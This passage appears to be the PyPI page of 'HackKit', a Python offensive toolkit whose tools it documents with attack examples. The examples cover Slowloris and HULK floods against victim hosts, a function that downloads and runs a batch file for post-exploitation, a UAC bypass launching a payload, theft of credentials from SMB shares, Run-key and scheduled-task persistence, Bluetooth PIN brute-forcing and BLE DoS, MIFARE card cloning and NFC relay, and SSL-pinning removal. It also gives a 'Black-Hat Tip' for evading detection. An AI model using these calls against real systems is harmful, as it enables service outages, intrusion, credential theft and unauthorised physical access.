What it does: Keeps hundreds of HTTP connections half-open by sending partial headers.
Black‑Hat Tip: Rotate User‑Agent lines to dodge simple detection.
Example – Stealth Slowloris:
DOS.Layer7.slowloris(
"victim.site", port=80, sockets=500, interval=10, always=False
)
slowpost(host: str, path: str = "/", port: int = 80, threads: int = 10, duration: int = 30, always: bool = True)
What it does: Sends HTTP POST with chunked transfer encoding, very slowly.
hulk(url: str, threads: int = 50, duration: int = 30, always: bool = True)
What it does: Randomizes query strings to bypass caching/proxies and overwhelm the app.
Example – HULK Attack:
DOS.Layer7.hulk(
"http://victim.app/api/data", threads=100, duration=30, always=True
)
26. WINDOWS
Windows‑only Exploitation, Reconnaissance & Persistence. ❌
Cross‑Platform: ❌ Windows only (requires pywin32, wmi, ctypes, winreg)
26.1 Exploits
exploit_Active_Windows()
What it does:
Downloads and runs WA.bat to perform various Windows-specific post‑exploitation tasks.
Example:
WINDOWS.exploit_Active_Windows()
exploit_windows_uac_bypass(payload_path: str) -> bool
What it does:
Bypasses UAC via registry hijacking (fodhelper.exe, eventvwr.exe, or RunOnce).
Example:
success = WINDOWS.exploit_windows_uac_bypass("C:\\payload.exe")
if success:
print("UAC Bypass achieved, payload launched!")
26.2 WinRecon
enum_users() -> List[str]– Lists local user accounts.enum_groups() -> Dict[str, List[str]]– Lists local groups and their members.enum_services() -> List[Dict[str,str]]– Enumerates services (Name,State,StartMode,Path).enum_patches() -> List[Dict[str,str]]– Lists applied HotFixes (HotFixID,InstalledOn).
Example – Service Recon:
services = WINDOWS.WinRecon.enum_services()
for svc in services:
if svc["StartMode"] == "Auto":
print(f'{svc["Name"]} – {svc["State"]}')
26.3 WinShares
scan_shares(target: str) -> List[str]– Discovers SMB shares on\\target.access_test(share: str, username: str, password: str) -> bool– Tests credentials without persistence.download_file(src_path: str, dst_path: str) -> bool– Grabs a file from a share.
Example – Dump Secrets:
shares = WINDOWS.WinShares.scan_shares("192.168.0.50")
if "SecretShare" in shares:
WINDOWS.WinShares.access_test("192.168.0.50\\SecretShare", "user","pass")
WINDOWS.WinShares.download_file("\\\\192.168.0.50\\SecretShare\\creds.txt","C:\\temp\\creds.txt")
26.4 Privilege Escalation
WinPrivesc.uac_bypass_fodhelper(payload: str) -> NoneWinPrivesc.unquoted_service_paths() -> List[str]– Finds services with insecure paths.WinPrivesc.weak_acl(path: str) -> bool– Checks if current user can write topath.WinPrivesc.schtasks_abuse(name: str, command: str) -> bool– Creates a task to run on logon.
26.5 Persistence
WinPersistence.add_run_key(name: str, command: str) -> None– Adds a Run key in HKCU.WinPersistence.add_scheduled_task(name: str, command: str, trigger: str) -> bool– Schedules a task (ATLOGON, DAILY, etc.).
26.6 Networking & AV Detection
WinNetwork.ping(target: str, count: int) -> List[str]– Cross‑platform ping wrapper.WinNetwork.scan_port(target: str, port: int, timeout: float) -> bool– TCP connect scan.WinDetectAV.list_av_processes() -> List[str]– Looks for common AV processes viatasklist.
22. BluetoothHunter
Cross‑Platform Bluetooth Toolkit: BLE scanning, PIN brute, HCI sniff, BLE DoS. ✅
scan_le(duration: int = 10) -> List[Dict[str,str]]– BLE LE discovery.brute_pair_pin(address: str, pin_list: List[str], timeout: float = 5.0) -> Optional[str]– RFCOMM PIN brute-force.sniff_hci(interface: str = None, timeout: int = 30) -> List– Captures raw HCI packets (Linux).dos_le(address: str, duration: int = 30, threads: int = 20)– Rapid connect/disconnect DoS.
Example – BLE Assault:
# Discover devices
devices = BluetoothHunter.scan_le(15)
# Bruteforce simple PINs
pin = BluetoothHunter.brute_pair_pin(devices[0]["address"], ["0000","1234","1111"])
27. Decode
High‑speed Decoding & Hash‑Cracking Utilities. ✅
base64_decode(data: str, urlsafe: bool = True) -> bytes– Auto‑pad, URL‑safe support.hex_decode(data: str) -> bytes– Strips spaces/0x, decodes.url_decode(data: str, encoding: str = 'utf-8') -> str– Repeated unquote until stable.rot13(data: str) -> str– Classic ROT13.js_unescape(data: str) -> str– Converts\xHHand\uHHHH.strings(data: bytes, min_len: int = 4) -> List[str]– Extracts printable runs.md5_crack(hash_list: List[str], wordlist: str, procs: int = None) -> Dict[str,str]– Multi‑proc MD5 cracking.sha1_crack(...),sha256_crack(...),ntlm_crack(...),bcrypt_crack(...).
Example – Crack & Decode:
# Decode embedded URL
print(Decode.url_decode("%252fadmin%252flogin"))
# Crack NTLM hashes
hashes = ["AABBCCDDEEFF00112233445566778899"]
res = Decode.ntlm_crack(hashes, "wordlist.txt")
28. RFIDWizard
RFID/NFC Toolkit: sniff ISO14443, brute MIFARE keys, clone, emulate, relay. ✅
sniff_iso14443(timeout: int = 10) -> List[Dict[str,str]]– Tag discovery.brute_mifare_keys(uid: str, keyfile: Optional[str] = None, processes: int = None) -> Optional[bytes]– Brute default or custom keys.clone_mifare_classic(key: bytes, dump_file: str) -> bool– Dump and save card memory.emulate_card(dump_file: str, reader_port: str = None) -> bool– Emulate a cloned tag.relay_nfc(reader_a: str, reader_b: str, timeout: int = 60) -> None– NFC relay between two interfaces.
Example – Clone Access Card:
tags = RFIDWizard.sniff_iso14443(5)
key = RFIDWizard.brute_mifare_keys(tags[0]["uid"])
if key:
RFIDWizard.clone_mifare_classic(key, "dump.bin")
29. APKToolkit
Android APK Analyzer & Modifier. ✅
extract_manifest(apk_path: str) -> Dict[str,List[str]]– Parses manifest for package, activities, permissions.find_hardcoded_strings(apk_path: str, min_len: int = 8) -> List[str]– Finds URLs, secrets in code.patch_ssl_pinning(apk_path: str, out_dir: str) -> None– Decompile, patchcheckServerTrusted, rebuild & sign.dynamic_instrument(apk_path: str, frida_script: str) -> None– Installs & injects Frida script at runtime.
Example – Inspect & Patch:
info = APKToolkit.extract_manifest("app-release.apk")
print("Permissions:", info["permissions"])
APKToolkit.patch_ssl_pinning("app-release.apk", "out-smali")
— HackKit: Because real hackers demand perfection.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file hackkit-1.0.0.tar.gz.
File metadata
- Download URL: hackkit-1.0.0.tar.gz
- Upload date:
- Size: 60.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.10.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
577017e076c4ef0b99331012ad0fb8576bac2b524d2a40d2613a9f35d197ed20
|
|
| MD5 |
67bded05d17f0a1533259722aeda0502
|
|
| BLAKE2b-256 |
98fcf175e9b7b7f71563b364a9577922ee0aefe0bdf53573d96d23d7221f1461
|
File details
Details for the file hackkit-1.0.0-py3-none-any.whl.
File metadata
- Download URL: hackkit-1.0.0-py3-none-any.whl
- Upload date:
- Size: 36.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.10.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
127a1603d4f1df4d5506b087e7ea6d81a8092cf6a3baf4e1b847fa569ae3a5f7
|
|
| MD5 |
f3967256792be588f25c149907841288
|
|
| BLAKE2b-256 |
376c47c0bd48917a55210e83691d26bce295403df0c0036f58c7753fdc4c56f5
|